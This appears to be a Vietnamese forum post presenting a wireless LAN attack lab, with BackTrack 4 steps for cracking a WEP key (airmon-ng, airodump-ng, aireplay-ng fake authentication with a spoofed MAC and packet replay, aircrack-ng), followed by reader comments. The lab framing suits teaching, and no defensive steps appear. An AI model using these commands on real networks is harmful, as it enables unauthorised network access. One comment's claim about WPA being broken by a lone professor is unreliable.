LAB TẤN CÔNG VÀ PHÒNG THỦ MẠNG WIRELESS LAN : 1.Chuẩn bị : Phần mềm Backtrack 4 Final Card mạng không dây có chipset Atheros hoặc các chipset tương thích với Backtrak 4 Final Các máy kết nối theo mô hình trên 2.Các bước thực hiện : Bước 1 :Cấu hình máy tính với chế độ boot từ CD / DVD Bước 2 :Sau khi máy tính boot từ đĩa DVD, giao diện phần mềm BackTrack 4 Final Bước 3 :Tại đây các bạn gõ vào : Startx để đăng nhập vào Backtrack Bước 4 :Muốn sử dụng Backtrack 4 Final để ***** ta phải chuyển card mạng wireless của mình sang chế độ “Monitor” Bước 5 :Ta dùng lệnh “ iwconfig” để kiểm tra chế độ hiện tại của card mạng wireless Bước 6 :Ta dùng lệnh : “ airmon-ng start wlan0” để chuyển card mạng wireless sang chế độ “monitor” Bước 7 :Tiến hành dò tìm các AP trong phạm vi ta đặt máy tính có card mạng không dây bằng lệnh : ”airodump-ng wlan0” Bước 8 :Hình minh họa trên cho ta thấy tên các AP xung quanh phạm vi đặt máy tính có card mạng không dây của ta Bước 9 :Sau đây ta sẽ tiến hành quá trình ***** key của AP có SSID : Hack Wireless iSPACE”. Ta cần lưu ý “Channel” của AP này (Channel 6) Bước 10 :Ta mở Terminal thứ 02 và thực hiện lệnh như sau : “airodump-ng -c 6 –w wep wlan0” Bước 11 :Tiến hành quá trình “authenticate” với AP và giả địa chỉ MAC : Ta mở Terminal thứ 03 và thực hiện lệnh : “ aireplay-ng -1 20 –a 00: 1B: 11: 58: 7B: A9 –h 11: 22 : 33: 44: 55: 66 wlan0” Bước 12 :Ta tiến hành gởi nhiều gói tin đến AP để làm tăng lượng traffice nhằm làm cho quá trình tìm key nhanh hơn. Mở terminal thứ 4 và thực hiện lệnh : “aireplay–ng -3 –b 00: 1B: 11: 58: 7B: A9 –h 11: 22 : 33: 44: 55: 66 wlan0” Bước 13 :Quan sát lượng traffice đã thu thập ở cột “Data”: Bước 14 :Mở Terminal 05 và thực hiện lệnh : “aicrack-ng web.01.cap” Bước 15 :Quá trình tìm Key thành công :
wa' pro, thực ra mình có nhìu cách hay hơn nhưng rất mất time^^! cách này wa' pro bảo đảm 100ng xem thì 1 ng làm dc ^^!
đó là cách tấn công bằng cách dò các gói dữ liệu truyền đi, chỉ tấn công đc với kiểu mạng WEP còn với WPA thì nó bó tay thôi. :d dù sao cũng thanks bác vì đã post bài.
cách này tấn công mấy mạng xài wep cổ xưa thôi, chứ wap hay wap 2 hoặc mấy kiểu mã hóa 64bit, 128 bit mới bây giờ chắc dò pass cả năm wá
WPA và WPA2 đã có người phá đc, một giáo sư ở trường ĐH của mỹ đã phá được nhưng dùng phần cứng chứ không thể dùng phần mềm. và cách phá quá phức tạp nên chưa ai biết ngoài ông đó :d
